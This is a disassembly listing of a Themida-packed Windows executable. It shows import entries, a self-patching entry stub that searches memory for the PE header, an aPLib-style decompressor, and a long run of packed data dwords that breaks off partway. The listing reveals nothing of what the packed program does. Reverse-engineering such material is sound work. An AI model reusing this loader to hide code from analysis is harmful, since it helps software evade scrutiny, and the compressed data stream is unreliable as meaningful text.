7C81CDDAh, 0 aE db 'Οe',9,']',0 align 10h dd 114050h, 114000h, 3 dup(0) dd 114079h, 11400Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 00102000 (1056768.) ; Section size in file : 00102000 (1056768.) ; Offset to raw data for section: 00115000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 515000h dd 0F5436A0Eh, 40CB7h, 5F836h, 15A172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058248B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00585A20 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00585C96 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_515086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_515041 popa jmp short loc_515076 ; --------------------------------------------------------------------------- a7pq db 'Ϋ-7PQ',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_515041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51504E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51506D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_515074 loc_51506D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51504E ; --------------------------------------------------------------------------- loc_515074: ; CODE XREF: start+57j mov edi, eax loc_515076: ; CODE XREF: start+1Bj jmp loc_515265 ; --------------------------------------------------------------------------- db 3 dd 526AB9C7h, 0CF030011h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_515086: ; CODE XREF: start+8j mov eax, offset loc_58248B mov ecx, offset word_51526A push eax push ecx call sub_51511B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_515265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(ΙδxΌ^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51511B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_515132: ; CODE XREF: sub_51511B+7Aj ; sub_51511B+C3j ... add dl, dl jnz short loc_51513B mov dl, [esi] inc esi adc dl, dl loc_51513B: ; CODE XREF: sub_51511B+19j jnb short loc_515127 add dl, dl jnz short loc_515146 mov dl, [esi] inc esi adc dl, dl loc_515146: ; CODE XREF: sub_51511B+24j jnb short loc_515197 xor eax, eax add dl, dl jnz short loc_515153 mov dl, [esi] inc esi adc dl, dl loc_515153: ; CODE XREF: sub_51511B+31j jnb loc_515238 add dl, dl jnz short loc_515162 mov dl, [esi] inc esi adc dl, dl loc_515162: ; CODE XREF: sub_51511B+40j adc eax, eax add dl, dl jnz short loc_51516D mov dl, [esi] inc esi adc dl, dl loc_51516D: ; CODE XREF: sub_51511B+4Bj adc eax, eax add dl, dl jnz short loc_515178 mov dl, [esi] inc esi adc dl, dl loc_515178: ; CODE XREF: sub_51511B+56j adc eax, eax add dl, dl jnz short loc_515183 mov dl, [esi] inc esi adc dl, dl loc_515183: ; CODE XREF: sub_51511B+61j adc eax, eax jz short loc_51518D push edi sub edi, eax mov al, [edi] pop edi loc_51518D: ; CODE XREF: sub_51511B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_515132 ; --------------------------------------------------------------------------- loc_515197: ; CODE XREF: sub_51511B:loc_515146j mov eax, 1 loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j add dl, dl jnz short loc_5151A5 mov dl, [esi] inc esi adc dl, dl loc_5151A5: ; CODE XREF: sub_51511B+83j adc eax, eax add dl, dl jnz short loc_5151B0 mov dl, [esi] inc esi adc dl, dl loc_5151B0: ; CODE XREF: sub_51511B+8Ej jb short loc_51519C sub eax, ebx mov ebx, 1 jnz short loc_5151E3 mov ecx, 1 loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j add dl, dl jnz short loc_5151C9 mov dl, [esi] inc esi adc dl, dl loc_5151C9: ; CODE XREF: sub_51511B+A7j adc ecx, ecx add dl, dl jnz short loc_5151D4 mov dl, [esi] inc esi adc dl, dl loc_5151D4: ; CODE XREF: sub_51511B+B2j jb short loc_5151C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_5151E3: ; CODE XREF: sub_51511B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j add dl, dl jnz short loc_5151FA mov dl, [esi] inc esi adc dl, dl loc_5151FA: ; CODE XREF: sub_51511B+D8j adc ecx, ecx add dl, dl jnz short loc_515205 mov dl, [esi] inc esi adc dl, dl loc_515205: ; CODE XREF: sub_51511B+E3j jb short loc_5151F1 cmp eax, 7D00h jnb short loc_515228 cmp eax, 500h jb short loc_515223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515223: ; CODE XREF: sub_51511B+F8j cmp eax, 7Fh ja short loc_51522B loc_515228: ; CODE XREF: sub_51511B+F1j add ecx, 2 loc_51522B: ; CODE XREF: sub_51511B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515238: ; CODE XREF: sub_51511B:loc_515153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_515259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_515132 ; --------------------------------------------------------------------------- loc_515259: ; CODE XREF: sub_51511B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51511B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_515265: ; CODE XREF: start:loc_515076j ; start+9Dj jmp loc_58248B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51526A dw 38E9h ; DATA XREF: start+77o dword_51526C dd 1523590h, 2E98F2EAh, 0C8AFAE10h, 0FA43B836h, 112E92F2h dd 3321AFBBh, 0FFFA10EEh, 646501F2h, 356BFE7Dh, 7F02D302h dd 0A404F062h, 68CF7807h, 122CAFFh, 572C4F69h, 983301F9h dd 10AFDAEh, 0B87188FFh, 2422BF46h, 0FFEB0EE1h, 73655201h dd 0CC726174h, 2EE27041h, 0C2F978F4h, 1145761Fh, 21F91FC2h dd 78D70817h, 65076854h, 6164696Dh, 27FD5F08h, 0F8D78C45h dd 0D4E4C58Bh, 0AE86028h, 0ED815D00h, 7E4359Fh, 49951889h dd 11B50D06h, 20850F44h, 83081271h, 380E65BDh, 8B0C7407h dd 0B8E222E8h, 0C27B8164h, 244470C7h, 40513E1Ch, 45186A15h dd 6829A3E8h, 83743E9Ah, 0ADF507Ah, 894B1E25h, 0AD5910Ah dd 0EC0214E9h, 8B55D057h, 0C483EC0Ah, 5AC0EED8h, 408DEA81h dd 0DA098B36h, 1BD845C7h, 400E1808h, 7D810889h, 1DC680FCh dd 7F200F74h, 0F7832408h, 12FF9810h, 0E163EB43h, 7461DC36h dd 0C2C91426h, 81064604h, 2FF7CC4h, 0D644498Eh, 8045018Dh dd 0C7085D8Bh, 4A194485h, 0A8D50h, 1888C3D1h, 0BA88941h dd 6A2BD81h, 0E3755D02h, 8D282794h, 75EC64BAh, 0E8A8004h dd 5B90F4BBh, 0F37ABB8h, 0D0D37854h, 4B080FCCh, 5F7753Bh dd 4647C3AFh, 46624A24h, 0D142A2F9h, 78ABA61h, 0D85FF0D0h dd 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh, 0F740C53Eh, 348436BAh dd 0C197DE6h, 0F83E7FEBh, 12C86D0Ch, 0F40E4CF0h, 0C14A10A8h dd 4F06514h, 0D1F803D6h, 96C203E0h, 0DB330128h, 80301C8Ah dd 0A72CCFBh, 77390AC3h, 0EFEBD305h, 7F142226h, 0A0D6761h dd 1E08F666h, 0AC3F4F5h, 1AC310EAh, 0D0B7241h, 677460Ah dd 121EA24h, 0EC87F05Dh, 317D83F4h, 0B3B07202h, 7676C00Ch dd 26AA64A5h, 76E01CF8h, 3BA8A08Dh, 0FFC0A55h, 9CBD7882h dd 38AA1BB0h, 8BA0EE5h, 700AB90Eh, 1CBD84FCh, 0FFE0038h dd 1C754947h, 5D22B9FAh, 1BBC06Ah, 82F11251h, 2DDEB76h dd 0F868E80h, 0FE08E53Ah, 0FD36E065h, 268A7317h, 91E94FBCh dd 0DE6B591Fh, 13045853h, 0C4725B21h, 25558A03h, 30458205h dd 43211508h, 7400C453h, 0D3BC6757h, 22105C6Bh, 0FA600281h dd 67C32C02h, 64F41982h, 80F17A1Ch, 0E0B810DCh, 0E134CB8Ch dd 4E392281h, 830F765Bh, 43D511Ch, 0B33BE3D1h, 75520E46h dd 11AC2E09h, 0EC05480Eh, 69065E4h, 0C5846300h, 54968E05h dd 8F538022h, 29C2040Ah, 0E8718C8Ch, 0A60EDBE7h, 2B0CFFB3h dd 22047781h, 0C134011Dh, 7533F984h, 3FBC9020h, 680A7677h dd 0E8330EFh, 8C26EC41h, 0FF7ECC7Fh, 453F4043h, 4060E9A9h dd 8C52C462h, 11254D02h, 13B1AA82h, 845AAB34h, 98561322h dd 2A825EE6h, 0A0812DEEh, 8139EB07h, 44B9F58Ah, 97230A13h dd 0CE95043h, 200A11CFh, 0F79ACC74h, 7FCB00A3h, 0F081446Dh dd 0B8005CE9h, 0DA8D67FFh, 1F0CBC53h, 471029Eh, 8205E281h dd 5930512Bh, 468AE4C4h, 1B2245h, 81C45141h, 93C3DEEEh dd 0EAAB650Ch, 81F0Dh, 4C0776A2h, 44BC505Eh, 7AB24E01h dd 8610CA0Bh, 612912D7h, 315420EAh, 3800842Eh, 16FC7B19h dd 3BAA2F04h, 0F000D03Ah, 1F82DB86h, 0C7248BF7h, 23076662h dd 16D2C839h, 699B8A21h, 8C52CC4Ch, 11C45A39h, 1D884D8Ah dd 0C4524280h, 884BEh, 0AF7DB50Eh, 14EA3CA4h, 0C0E323CEh dd 0EDAEF27Fh, 89C7072Bh, 0B7A66Dh, 18454A27h, 67DFB000h dd 0C010E08Ch, 816CAAD9h, 167DCC3Ch, 3F581EA1h, 87A444C5h dd 36CADA91h, 5446C21Ah, 88C45C1Ch, 1AC45D8Ah, 0C4544440h dd 27036A0Dh, 0EADD6784h, 0F01D000Fh, 6B81B0FAh, 0D201600Ah dd 0AEC69A49h, 9C865879h, 7E1376DCh, 30224220h, 3B3D07E9h dd 0D0EE3224h, 0C2DE9960h, 608D1060h, 96B12103h, 0BC30C882h dd 0BFF91076h, 78F61213h, 0C9B1063Ch, 0D3000DD8h, 65239DBh dd 9861208Ch, 8B238041h, 826200C6h, 0E6124DC4h, 8FA4EA20h dd 0FBD6943Fh, 0A9DEE413h, 9965000h, 788C4EA4h, 40EC1CD4h dd 672B40E8h, 54720FB9h, 6BFBA3Ah, 890645Fh, 69BE0018h dd 0B503F084h, 89E3507Fh, 44FD4CEh, 0EA460E47h, 6F120B1Ch dd 6402EC32h, 8F4442A1h, 624AE794h, 7B909D35h, 1F149A0Fh dd 0F7A795h, 0D667F5EEh, 5F0E4860h, 0C05D85FEh, 1DBD1FC6h dd 0A9FA71h, 0A12D910Ah, 538FDF5Fh, 616008CFh, 0C9C1BD3Ah dd 0F579DD4h, 614EC2B3h, 0BDD9BC0h, 641846AEh, 4831BFE7h dd 97860390h, 2869E5AAh, 0FDE09BC0h, 0D1115818h, 9956A81h dd 24DA4CC2h, 0E6217C00h, 52004527h, 4FC0F10Bh, 0A68194h dd 205912B8h, 4234E6C6h, 87E9B638h, 80579CE5h, 906CFBE0h dd 0D2BE1DF0h, 65564C02h, 0ED00DF60h, 66C80C49h, 0FCF1855h dd 69D21AAEh, 0BC62C2C0h, 600C4842h, 0B95CEBEFh, 0C184603Fh dd 0CE7CBC23h, 70515706h, 0C3198CDDh, 0FC3A5DD0h, 0D1CE9D6h dd 178A2A22h, 2507F916h, 0A7EEE319h, 4FE4F4h, 0B8C06879h dd 955F0031h, 0AC8B2E2Ch, 0C8031081h, 6A180540h, 87391B8Ah dd 7AC041ADh, 0AB0CA00Eh, 30825F8Eh, 413C186Eh, 4AAF3601h dd 2CEC5800h, 17C96B62h, 22E118F5h, 42054138h, 7948BCF1h dd 28A2C107h, 99803685h, 30B2Dh, 41ACCF14h, 4AA16362h dd 0C86A40C7h, 196D7381h, 3FA10BEh, 97051EB6h, 7018FEAEh dd 54595542h, 0D8630788h, 40A416B4h, 0DDD6D1BEh, 0A70D7300h dd 0E54550Bh, 5200B0C9h, 5308C1Bh, 20FF39E1h, 5296B700h dd 0A953124Fh, 55060062h, 406BDA29h, 6A7A7BAFh, 8AACFE38h dd 84B15F86h, 0E40B3B00h, 0DDC772h, 643DF88h, 4CE67A12h dd 217090A0h, 5E0074B8h, 5AD9AA8Ah, 39E7E3D5h, 0AC37096Fh dd 8B263118h, 1B50837Bh, 1AA887h, 706DF299h, 8D73A9FDh dd 0A5844050h, 0EEEAA014h, 24940180h, 0E2DC8C84h, 0C1213080h dd 0C87365CEh, 0E89E0503h, 0C820CB24h, 618CAC03h, 30C45916h dd 6BC47009h, 0E217211Bh, 0E797F988h, 873BA850h, 310460A1h dd 7B11EE79h, 8C28B763h, 54190017h, 0F1AF0952h, 0D8A03DF7h dd 4146196Bh, 2F0F4000h, 5EAA91FEh, 38B4AB24h, 169F0583h dd 7CC80311h, 61941BC2h, 68A06B8Ah, 0F28A4B9Ch, 0F40CEC00h dd 57F50B86h, 7B5E0C04h, 87684391h, 0E248AA50h, 2D31731Bh dd 5C04A018h, 4E3D33D3h, 80104010h, 50128A8Bh, 0DE744390h dd 0FAD0054Ah, 660030C9h, 0AA5B20C5h, 5CDC7A50h, 0D862732Dh dd 0E5301BB1h, 1249215h, 95443CA6h, 0C4F3C043h, 0C43C3EC8h dd 126280FAh, 7A3DBF40h, 28C31D4Dh, 15AC80D0h, 0A6A0AD1Fh dd 4F80E854h, 1E918660h, 3A815B8h, 39E26B57h, 0F03F7413h dd 4497C4D5h, 8B06ED1Ah, 4DA90A5h, 0BF140248h, 63184DACh dd 0A50DE444h, 690316B8h, 0ED39F61h, 0E2BF65B9h, 6E1C811Dh dd 34961642h, 0F8091914h, 10DEBB11h, 81B12350h, 5C44F23Ah dd 202EA23Eh, 59E3079Bh, 0E6BE5015h, 25006119h, 0E41D735Eh dd 15D7E1F6h, 0A08BC78Dh, 0A90F0A00h, 37097048h, 0A150FD60h dd 8CCE59h, 54B4103Bh, 3222A4DEh, 1CEDFF00h, 36CB7AABh dd 0A26C00B3h, 5930CD6Dh, 0C77EBBF5h, 57062707h, 5E475063h dd 546AEA70h, 0CDC4073Ch, 81F0645Bh, 0F012DA30h, 0AF7EE4A4h dd 0B31F670Fh, 0F52181EBh, 94E4D4D3h, 0E05100EFh, 5A620B97h dd 0F009022h, 3A36275Ch, 87CE49h, 8C2495C7h, 8E979666h dd 67782892h, 4239E81Fh, 70801855h, 4C6E6300h, 0C54A45B5h dd 28E90007h, 0C97F5CFDh dd 0FB498EAAh, 96E0248h, 8F5F0B53h, 0A61B84B8h, 28C09806h dd 8B3F720h, 137B09E6h, 0DF17000h, 0AC403DAh, 0E39AF96Fh dd 9BDC00A4h, 65FF5D47h, 9F3DC013h, 35ADAC04h, 71C1E223h dd 849D001Fh, 0F9F00D1Bh, 4C40FC2Eh, 0A61F61C0h, 6E006A2Dh dd 8374DBC2h, 96220C81h, 0EA9085EBh, 0F8AA0773h, 70B87C27h dd 2DFEAD41h, 74616300h, 9ED4F8B7h, 9DC82CACh, 0BDBF0144h dd 20516E0Ah, 77410730h, 998B31FCh, 94DD0E54h, 6D7FB920h dd 0B5054154h, 5F701EFh, 0D5228000h, 194CAC1Eh, 40918B86h dd 0DBC3070h, 23618AB8h, 66187C99h, 3C488822h, 26067610h dd 0C71CC487h, 7D7C1220h, 40B010C2h, 0B8687700h, 0AEC7201Ch dd 0EA796C06h, 3E592212h, 0E203D3D2h, 756E1862h, 849C6149h dd 0A897EC42h, 0E13EE550h, 28630048h, 0FADE0DD1h, 6403345Bh dd 0E3E94955h, 79593CC3h, 0A2879205h, 0E6C44080h, 0BAB05DC2h dd 2B882E7h, 862BFD64h, 22413DE0h, 8880A3DEh, 938083EFh dd 9B141AD0h, 0F40289B8h, 0A08018D6h, 872FEF79h, 392CAC07h dd 409064D7h, 5855A23Dh, 4173EC02h, 0F8EC57EFh, 21E8A14Eh dd 48821B9Bh, 923B8E4Ch, 2418E0A5h, 0B214CCBCh, 0A1E09101h dd 11E5CA29h, 8A302180h, 15A320FBh, 0A001CF7Fh, 0DB7D7379h dd 68EC4BE0h, 116B1CFDh, 6843D8BDh, 80400326h, 0A6E7F73Ah dd 0C3B0061h, 0AFC83456h, 962C6F93h, 0E380340Bh, 6E7902E4h dd 0DF73019h, 0E842A4B0h, 0A351EB04h, 88C09EC7h, 60FB0170h dd 0CAD52011h, 0D30B5018h, 8587C87Ah, 0A041EDF6h, 0EA723B09h dd 32682C4h, 93641B01h, 28431AD3h, 30F600F8h, 2F925C51h dd 0F9FB0048h, 0F3A70BD4h, 0D201DA14h, 18419C6Fh, 1C228265h dd 8811AB10h, 94248055h, 0DAA641D0h, 0A1FA401h, 7F9EB91Dh dd 788A7F70h, 943D5CE6h, 5E20613h, 4029E5B4h, 80F18DB0h dd 2B0014AEh, 9403C6DEh, 599F116Fh, 9511F8DBh, 0EFE840E4h dd 0A81340h, 801DED26h, 0AF113710h, 3B6C3A16h, 0D0393803h dd 19701603h, 0BFAC411Ah, 0C83DC721h, 0F1597BE3h, 0ABA30494h dd 30A1FB26h, 79AAC003h, 63961A79h, 48131987h, 92F023DCh dd 0BD48690Bh, 180AD1BEh, 42987A71h, 0ED110996h, 808C0310h dd 11597700h, 0D4F2C0FEh, 9F5C0CA8h, 30492BE5h, 5E1EDCF8h dd 0AB841385h, 0B4943D8Ch, 10059CD8h, 3EB3E97h, 0A8A504ABh dd 510BE36h, 8AD5E82Bh, 651C045Dh, 8C404581h, 0BD364C00h dd 2FF3F8h, 19E9A298h, 6DAD32FBh, 0F7F9F601h, 2E2DDB61h dd 533E424h, 1640365Bh, 6884205Eh, 0E83D51B7h, 9A0F12B9h dd 7A14BB01h, 6B3056E4h, 2000B86Dh, 0CC8010FAh, 6802B09h dd 0F0DCB868h, 989A17h, 0E42A4404h, 0CDEADB3Eh, 0EE429B18h dd 3660769h, 6F5894F8h, 4593FE9Fh, 0AE378EE8h, 9EDDDF00h dd 3975EDECh, 708A50C6h, 2CF3004Fh, 0B4FDAA86h, 348A00Fh dd 0C1FE1EF3h, 98DCDE43h, 0A839DF87h, 9411B030h, 10AE4C7Ch dd 0D89EAA8Fh, 8C4BB829h, 35190A60h, 3D2C1h, 0CEBF7D70h dd 88DE5BC8h, 5D16C00h, 5DA45957h, 56462898h, 6D182980h dd 0A8AD04E0h, 9DDC4662h, 3A112188h, 402C9211h, 605308B0h dd 90DFEA09h, 30580460h, 6E298D4Fh, 8C030B8Bh, 926DAA47h dd 0FB84D8F1h, 0DAEA0FB6h, 0E1C9515Bh, 0DDF60820h, 0FC0BEFF9h dd 0A10E0B6Fh, 22290C4h, 0E4651006h, 48C0C368h, 587E8050h dd 11113004h, 28160C21h, 18482092h, 1802FF43h, 2D696D5h dd 8E50BC46h, 8F0D0CA1h, 94C0657Ah, 8B609A00h, 9746751h dd 73390182h, 0DD7B62AEh, 81B44423h, 25CB2F0h, 3384442h dd 0F59D0432h, 6613CBADh, 45920C7h, 2CE7E30h, 0E325EE3Ch dd 0AAEC0438h, 212040A4h, 105092A5h, 7D1C3163h, 5419A639h dd 0C25EA88h, 306C0949h, 60E815E0h, 0BE3C591Fh, 0D32CBC59h dd 2100485Dh, 0E005E25Ch, 38FE07B6h, 0ECDB2666h, 9256C38h dd 8B540F58h, 70F40749h, 0C23021F8h, 934132D3h, 0C8305AD4h dd 150B807Ch, 0E4E564CBh, 2FDDB200h, 7350B6B5h, 37F4B869h dd 4428D420h, 5AB8B0E5h, 955D4203h, 0C066D2C9h, 2AD8D3E8h dd 20D4F6E1h, 5C26A8EDh, 0E812369Ah, 7C08A856h, 0A36E0F78h dd 500D0895h, 0AD8240Ch, 700924B4h, 6DC06240h, 0B9786221h dd 0C16394CAh, 0C68C7901h, 24216555h, 874B1A4h, 0A3825D64h dd 0AA8B9404h, 3609A418h, 6618021Eh, 0E913E05Bh, 71076009h dd 76F9AA0Dh, 0E9A2403h, 0D82834ACh, 6190B5Dh, 8666B33Ah dd 0C809414Eh, 200E8BA3h, 0D52EC128h, 68152C8Fh, 0BF45009Ch dd 0E2C31FFCh, 9830D728h, 42E3DC44h, 501508B6h, 8C48852Dh dd 0B8567Eh, 0B5415C08h, 1E8646Dh, 0A42E3718h, 17AD4AFEh dd 211BA210h, 914B23F4h, 0AB092FC8h, 1A89A507h, 64BEC103h dd 105E6037h, 90408965h, 58D71E06h, 0E21458CEh, 0A0850C58h dd 0A6286822h, 281EDCAAh, 0E8591019h, 29F29658h, 4EF8C80h dd 653A9399h, 5D784C1Bh, 54630164h, 554B134Ah, 404405Ah dd 0C8A18723h, 0D00C0CCh, 1A10A9D8h, 30D02D08h, 0E5915E7Dh dd 4490E7F3h, 4851BB4Eh, 2A18B83Ch, 0F6A4C269h, 542C4F62h dd 30225844h, 0A134BC52h, 800B21C5h, 0DE0AA3Ah, 357017D9h dd 0AC10151Ch, 425BEB0Bh, 0A517C882h, 4232FA61h, 0BCB6E948h dd 0E9C36C46h, 610B45DEh, 0A2BC1926h, 277E661Ch, 0CD398DA1h dd 2824299Bh, 0F04254A8h, 0BEFAF10h, 4B9F1A0h, 944014A4h dd 5DDF5E27h, 75AB3101h, 8C429EE4h, 18313CC5h, 22327051h dd 18CCE8C5h, 818F6E7Fh, 6E1B5223h, 2099DDE2h, 0D8BC49BAh dd 0A0A1E2B4h, 709C240Dh, 0C8D208DDh, 0A581A481h, 2CE57064h dd 88E250h, 9EC65222h, 47009C3Eh, 6D80A234h, 2F5F44h, 0E1BB0F56h dd 0CAD71995h, 4BD8CE07h, 0F4D0F7D0h, 1C85893Ch, 0CFC6E9C7h dd 29C0E226h, 879F9994h, 5D7D6E00h, 76D4BDCEh, 0D32600BAh dd 0D73EF4BCh, 40C7A8FBh, 0EEF4878Bh, 38E24C00h, 8807AA18h dd 2B5A8D9Fh, 9EC1C990h, 197791h, 3EE8D007h, 0F556B2C0h dd 877A3A00h, 0BAC63CE0h, 35D70242h, 9188A018h, 44880C5h dd 0F8A8DE7Fh, 0D03B37CBh, 0D8AAA43Bh, 29699400h, 0B9C9EAh dd 2833D519h, 40E7FDD6h, 0A800D77Ah, 928E3E03h, 30FC32D1h dd 2C4026D3h, 0D27D4BA2h, 0E2378707h, 2320CB9Eh, 2DB05FEh dd 20BC0BCh, 92603857h, 0D0189382h, 0D640C626h, 0A32B203Dh dd 32878800h, 9EBDB85Bh, 24223D9Dh, 0DDCCF80h, 4174B9DBh dd 9300E97Dh, 0CEFCF3E1h, 3DC8F0h, 6F4B9D17h, 5B315492h dd 2438BA4Ch, 745D94E2h, 0A142C900h, 99A3FD31h, 787719Ch dd 0BCB8E27Ch, 616809Eh, 0E83CC007h, 72F70040h, 8C89E00Ah dd 0FF430715h, 0E3D926C8h, 0D1D06F31h, 29006E44h, 0F78C960h dd 1B282Ah, 0E803B4C4h, 46CA7B8h, 8918F47Eh, 24403119h dd 323320D7h, 5D446B00h, 78B6E27Eh, 1A960019h, 31C8D522h dd 0B30F9E4Dh, 0C0EFFFA8h, 0FA3CD47Ch, 0D74A000Ah, 9B6F1747h dd 5C0E936Dh, 76B6EC7Eh, 0EA8C6Ah, 3DC6034Fh, 2931E2h dd 9466999Dh, 0FAED336Bh, 489E7E1Dh, 0E1032090h, 56B49D2Fh dd 8747F780h, 0C63DD40Eh, 40007FCCh, 0D184ABE6h, 83570079h dd 0E1B4BAE5h, 277BDB98h, 4931B91Dh, 466CA80h, 0FE852661h dd 0AF90029h, 2738D03Ah, 0D60097AEh, 542E8778h, 19EBA0Fh dd 0D4052D42h, 0CC4B31CAh, 0FF006BF7h, 0D08B88F3h, 0AC8EEh dd 153BDA2Dh dd 90D2856Fh, 1E85A39h, 28A3BEB8h, 0AC6019DBh, 0C6D88EAh dd 89753E13h, 0B72504D2h, 0DE60FF04h, 59AC9Eh, 54A6D508h dd 67B8C8F2h, 0F318F114h, 0A400AB34h, 7650C58h, 7900F153h dd 0B8F259B3h, 214080FBh, 0E540E775h, 0F8E2FC2Fh, 774300A4h dd 3B76868Eh, 7A2F9085h, 2240810Eh, 7CDE870Bh, 0ED7B8040h dd 60E1F510h, 6513F073h, 28E03F21h, 356EE25h, 225DD250h dd 71002318h, 0E8D88EA8h, 763A108Dh, 1CD256D3h, 0BCB45820h dd 0E1016C40h, 8A441CF1h, 381DC166h, 2FFF8E42h, 21E80802h dd 507C4Bh, 60D059AAh, 0E56742DFh, 62600341h, 0C5C6FCFh dd 4C681541h, 21C05E08h, 99623AA5h, 0FC700F8h, 45DBD3E9h dd 0A3186877h, 57A09401h, 7F1888DFh, 6AD1D661h, 208453AAh dd 225F0D47h, 44A410E6h, 3F28C01h, 4F96402h, 0AF0B9840h dd 5C80954Eh, 20E8E3E6h, 449F0580h, 0C2008992h, 2BA0BB6Ah dd 9743D53Dh, 0EB8B7420h, 0E000C0Ah, 76E827BFh, 0C8AEF53h dd 74EF96Dh, 9614A888h, 904725h, 897EDC71h, 3AB4F15h, 0D53620EFh dd 0A3F7405Ch, 59125F5Dh, 8417C50h, 0AEAC3AE1h, 8772568Fh dd 97DB3B23h, 0C3E605F0h, 40E70400h, 5E530BF5h, 0D4FD0063h dd 3C1BE1F6h, 900C141Dh, 59524295h, 51AD0088h, 0FA9C75A0h dd 0A006DC1h, 789ABC4Dh, 124170h, 0C489AB2Fh, 39B3C716h dd 0BA0AF915h, 654000E8h, 0D40227CCh, 2089951Dh, 0A9494C70h dd 49DB0C4Ch, 4501816h, 0E0E9C4D5h, 27A4AD2Dh, 0EAD8A061h dd 2748AAADh, 0C4C03820h, 18252366h, 40FCCC6Dh, 0D300E859h dd 0E2C3887Ch, 3C002E4h, 51DA8771h, 0F15FBC63h, 8766884Eh dd 11DC4AC4h, 55DA0080h, 0B6D8051Dh, 0DF66DDFEh, 217B08h dd 2D55D123h, 0EA9560E9h, 68309B1Dh, 3CA40612h, 0EB777CBEh dd 86AA6440h, 0E8B2509Fh, 54F0DD5h, 0F3D9F042h, 67069BB0h dd 9600F6F8h, 0D302BB55h, 48510B12h, 0D2238887h, 0CC623B01h dd 6118446Fh, 53A688h, 1A0DAD62h, 7A83DD3Fh, 180B8C26h dd 29C95D87h, 0E287D8B0h, 0CAC400D4h, 0C3679454h, 0DB02D552h dd 0C6906355h, 4F4C5E01h, 8C4E9894h, 830933B0h, 2A2C9E5h dd 80B91FA0h, 641824F8h, 46ACA668h, 55D801C6h, 0B508051Bh dd 4988790Ch, 2E5514D0h, 6710986Fh, 16C50178h, 0D8659003h dd 986022FBh, 223160A1h, 1CD12610h, 2018EF5Eh, 7E62750h dd 69DCA101h, 87059389h, 2CC7EF6h, 350163E2h, 56887C5Ch dd 4F9065F0h, 12090BF0h, 45C00493h, 370025C8h, 8C036DACh dd 0E91ED5A4h, 0EE58402Eh, 0A28325C1h, 94C25E28h, 0DC01CA46h dd 0E8051F55h, 1D000BB6h, 21255D3h, 0A6002804h, 6FFDB860h dd 9D165F21h, 2080180Ah, 60B8DBF5h, 55DD60B4h, 0E005241Ah dd 0D4207070h, 408C5500h, 5D4DD92Eh, 4F7925F2h, 3B0158E8h dd 33DE0C00h, 7FD4BBDCh, 492C00BAh, 32E06ECBh, 9A00D7C2h dd 7BDA3F25h, 9DB6F90Eh, 2EA25081h, 9C133F7Fh, 0AAA0B8B0h dd 39D482E0h, 8088548Dh, 0C7A31BB9h, 0AC12C663h, 0ECE09A21h dd 0D621CE13h, 0FE48A3A0h, 4604D961h, 540B1893h, 6050088Ch dd 5B28B185h, 0E91DC86Fh, 4C0730F2h, 82892B05h, 15C26E4h dd 0CCE33B63h, 0C673681Bh, 5E971202h, 6ABB96ACh, 0D53084C4h dd 0EC623861h, 448C4C6Fh, 5000A355h, 0D2F40162h, 0C95A5E14h dd 0A4D24B19h, 63208A00h, 13A3D762h, 214C3BCBh, 84075A4h dd 0D30006DEh, 41666024h, 